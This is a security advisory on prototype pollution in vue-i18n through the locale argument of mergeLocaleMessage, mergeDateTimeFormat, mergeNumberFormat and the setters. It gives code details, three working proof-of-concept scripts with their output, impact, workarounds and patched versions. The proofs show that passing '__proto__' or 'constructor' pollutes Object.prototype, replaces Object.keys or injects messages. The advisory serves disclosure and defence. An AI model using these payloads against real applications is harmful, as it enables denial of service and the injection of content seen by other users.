Prototype Pollution via the locale argument of mergeLocaleMessage, mergeDateTimeFormat and mergeNumberFormat
Description
In vue-i18n v9 and later, mergeLocaleMessage(), mergeDateTimeFormat() and mergeNumberFormat() look up the entry to merge into with container[locale]. When the locale is the name of a property inherited from Object.prototype, this lookup returns a built-in object, and the methods write into it:
- With
'__proto__', all three methods write intoObject.prototype. - With
'constructor',mergeDateTimeFormat()andmergeNumberFormat()write into the globalObject. A format with a key such askeysreplacesObject.keys. - With the names of most other
Object.prototypemethods, such as'toString',mergeDateTimeFormat()andmergeNumberFormat()write into those built-in functions.
setLocaleMessage(), setDateTimeFormat() and setNumberFormat() do not write into built-in objects, but with '__proto__' they replace the prototype of the container: the messages, datetimeFormats or numberFormats object passed to createI18n() or useI18n(), which vue-i18n uses as is, without copying. The given object then supplies messages or formats for locales that have none of their own, in every instance that uses the same object.
In v12 alpha, setLocaleMessage(ctx, locale, messages) of @intlify/core-base, which @intlify/core re-exports, assigns in the same way: with '__proto__', it replaces the prototype of ctx.messages, the messages object passed to createCoreContext().
An application that passes an untrusted value as the locale (for example, one taken from a URL parameter, a cookie or the Accept-Language header) lets an attacker pollute the global prototype chain, modify built-in objects, or inject messages. useI18n({ useScope: 'global' }) passes the keys of its messages, datetimeFormats and numberFormats options to these methods as locales, so untrusted keys there (for example, from JSON.parse) have the same effect.
This affects the methods of the global and local composers (i18n.global, useI18n()) and of the Legacy API VueI18n instance (v9 to v11), in server-side rendering and in the browser. Stable releases of petite-vue-i18n have no datetime or number format APIs, so only mergeLocaleMessage() and setLocaleMessage() with '__proto__' apply there.
vue-i18n v7 and v8 (for Vue 2) and vue-i18n-bridge are also affected:
- From vue-i18n 7.0.2,
mergeDateTimeFormat()andmergeNumberFormat()write into built-in objects, and so doesmergeLocaleMessage()up to 8.15.2. - From vue-i18n 7.0.0 to 7.6.0,
setLocaleMessage(),setDateTimeFormat()andsetNumberFormat()with'__proto__'replace the prototype of the container, as described above. In 7.0.0 and 7.0.1,mergeLocaleMessage()with'__proto__'does the same. vue-i18n-bridgeis affected throughmergeDateTimeFormat(),mergeNumberFormat()and the three setters.
Details
The three methods look up the object to merge into with container[locale], and then copy into it (composer.ts in v11.4.13):
function mergeLocaleMessage(locale, message) {
_messages.value[locale] = _messages.value[locale] || {}
// ...
deepCopy(message, _messages.value[locale])
}
function mergeDateTimeFormat(locale, format) {
_datetimeFormats.value[locale] = assign(_datetimeFormats.value[locale] || {}, format)
// ...
}
function mergeNumberFormat(locale, format) {
_numberFormats.value[locale] = assign(_numberFormats.value[locale] || {}, format)
// ...
}The containers are ordinary objects, so container[locale] also finds properties inherited from Object.prototype:
- For
'__proto__', the lookup goes through the__proto__accessor and returnsObject.prototype.deepCopy()andassign()(Object.assign) then copy the given keys ontoObject.prototype.deepCopy()skips__proto__keys in its source (the fix for CVE-2024-52810), but it does not check its destination. - For
'constructor', the lookup returns the globalObject, andassign()copies the given keys onto it. For'toString','valueOf'and most other methods ofObject.prototype, it returns that built-in function. When the containers are Vue reactive proxies, as in the browser, Vue 3.2.46 and later return their own wrapper for'hasOwnProperty', so that name writes into the wrapper instead.mergeLocaleMessage()throwsInvalid valuefor these names, becausedeepCopy()throws when its destination is not an object.
setLocaleMessage(), setDateTimeFormat() and setNumberFormat() assign with container[locale] = value. For '__proto__', this calls the __proto__ setter, which replaces the prototype of the container with the given object. The container is the object the application passed in, so every instance that uses the same object sees the change.
setLocaleMessage(ctx, locale, messages) of @intlify/core-base v12 alpha assigns with ctx.messages[locale] = messages (context.ts in v12.0.0-alpha.4), so '__proto__' replaces the prototype of ctx.messages in the same way.
v7, and v8 up to 8.3.0, merge with Vue.util.extend(this._vm.dateTimeFormats[locale] || {}, format), and 8.3.1 and later with merge(this._vm.dateTimeFormats[locale] || {}, format) (the same for number formats). Both write into their first argument. From 7.0.2 to 8.15.2, mergeLocaleMessage() also merges into this._vm.messages[locale] || {}; 8.15.3 changed it to merge into a new object. Up to 7.6.0, the setters assign with this._vm.messages[locale] = message and so on; 7.7.0 changed them to this._vm.$set(). vue-i18n-bridge uses the composer above, but its mergeLocaleMessage() passes the call to the vue-i18n v8 instance it wraps before copying, and that instance stores a new object for the locale, so only the other methods are affected.
PoC
'__proto__' with mergeLocaleMessage():
npm install vue-i18n@11.4.13 vue
node poc.mjsOutput:
Before Attack: {}
After Attack: {"pollutedKey":123}// poc.mjs
import { createI18n } from 'vue-i18n'
const i18n = createI18n({ legacy: false, locale: 'en', messages: { en: {} } })
// e.g. a locale taken from a URL parameter such as `?lang=__proto__`
const lang = '__proto__'
console.log('Before Attack: ', JSON.stringify({}.__proto__))
i18n.global.mergeLocaleMessage(lang, { pollutedKey: 123 })
console.log('After Attack: ', JSON.stringify({}.__proto__))
delete Object.prototype.pollutedKeymergeDateTimeFormat('__proto__', format) and mergeNumberFormat('__proto__', format) pollute Object.prototype in the same way.
'constructor' with mergeDateTimeFormat():
node poc-constructor.mjsOutput:
Before Attack: function
After Attack: object
TypeError: Object.keys is not a function// poc-constructor.mjs
import { createI18n } from 'vue-i18n'
const i18n = createI18n({ legacy: false, locale: 'en', messages: { en: {} } })
// e.g. a locale taken from a URL parameter such as `?lang=constructor`
const lang = 'constructor'
console.log('Before Attack: ', typeof Object.keys)
i18n.global.mergeDateTimeFormat(lang, { keys: { year: 'numeric' } })
console.log('After Attack: ', typeof Object.keys)
try {
Object.keys({})
} catch (error) {
console.log(String(error))
}mergeNumberFormat('constructor', format) has the same effect.
'__proto__' with setLocaleMessage():
node poc-set.mjsOutput:
Before Attack: hello
After Attack: injected// poc-set.mjs
import { createI18n } from 'vue-i18n'
const i18n = createI18n({
legacy: false,
locale: 'ja',
fallbackLocale: 'en',
missingWarn: false,
fallbackWarn: false,
messages: { en: { hello: 'hello' } }
})
console.log('Before Attack: ', i18n.global.t('hello'))
// e.g. a locale taken from a URL parameter such as `?lang=__proto__`
i18n.global.setLocaleMessage('__proto__', { ja: { hello: 'injected' } })
console.log('After Attack: ', i18n.global.t('hello'))Impact
Applications are affected when an attacker can control the locale argument of these methods, or the keys of the messages, datetimeFormats or numberFormats options of useI18n({ useScope: 'global' }). For example, an application that loads messages for the locale in the URL:
// e.g. /:lang/... routes
const lang = route.params.lang // attacker-controlled
const messages = await fetch(`/api/messages/${lang}`).then(res => res.json())
i18n.global.mergeLocaleMessage(lang, messages)- With
'__proto__', the keys of the merged object end up onObject.prototype, even when the attacker does not control that object. Almost every object in the page inherits them, and during server-side rendering, so does every later request in the same process. - With
'constructor'(mergeDateTimeFormat()andmergeNumberFormat(), and in vue-i18n 7.0.2 to 8.15.2 alsomergeLocaleMessage()), the keys of the merged object end up on the globalObject. If the attacker also controls that object, they can replace methods such asObject.keysand break the page or the server process. - With other names, such as
'toString', the keys of the merged object end up on that built-in function. If the attacker also controls that object, they can, for example, shadowObject.prototype.toString.call, which Vue and vue-i18n use, and break the page or the server process. - With
'__proto__', the setters let the given object supply messages or formats for locales that have none of their own, in every instance that shares the samemessages,datetimeFormatsornumberFormatsobject. During server-side rendering, this can include later requests from other users.
Depending on the application and its dependencies, this can lead to denial of service, bypassed checks, or worse through prototype pollution gadgets.
Workarounds
If you cannot upgrade yet, for example because you are on v7 to v10 or use vue-i18n-bridge:
- Check the locale against the locales your application supports before passing it to these methods, including
setLocaleMessage(),setDateTimeFormat()andsetNumberFormat(). - Do not pass untrusted objects as the
messages,datetimeFormatsornumberFormatsoptions ofuseI18n({ useScope: 'global' }).
const SUPPORTED_LOCALES = ['en', 'ja']
if (SUPPORTED_LOCALES.includes(lang)) {
i18n.global.mergeLocaleMessage(lang, messages)
}Patches
Fixed in 11.4.14 and 12.0.0-alpha.5. mergeLocaleMessage(), mergeDateTimeFormat(), mergeNumberFormat() and the three setters now ignore a locale that is a property name of Object.prototype, such as '__proto__', 'constructor' or 'toString', with a warning in development builds, and the getters and tm() look up only locales that the containers have as their own properties. The fix also covers setLocaleMessage(ctx) of @intlify/core-base in v12 alpha and the keys of the sharedMessages option of the Legacy API in v11.
v7 to v10 and vue-i18n-bridge are no longer supported and will not be fixed. Please migrate to v11.
References
- CWE-1321
- CWE-915
- OWASP Prototype Pollution Prevention Cheat Sheet
- GHSA-hjwq-mjwj-4x6c (CVE-2024-52810): prototype pollution in
deepCopy()through its source
Affected versions
- vue-i18nFrom 7.0.0 · fixed in 9.0.0
- vue-i18nFrom 9.0.0 · fixed in 11.4.14
- vue-i18nFrom 12.0.0-alpha.1 · fixed in 12.0.0-alpha.5
- petite-vue-i18nFrom 9.2.0-alpha.7 · fixed in 11.4.14
- petite-vue-i18nFrom 12.0.0-alpha.1 · fixed in 12.0.0-alpha.5
- @intlify/vue-i18n-coreFrom 9.2.0-alpha.7 · fixed in 11.4.14
- @intlify/vue-i18n-coreFrom 12.0.0-alpha.1 · fixed in 12.0.0-alpha.5
- @intlify/core-baseFrom 12.0.0-alpha.1 · fixed in 12.0.0-alpha.5
- @intlify/coreFrom 12.0.0-alpha.1 · fixed in 12.0.0-alpha.5
- vue-i18n-bridgethrough 10.0.0-alpha.1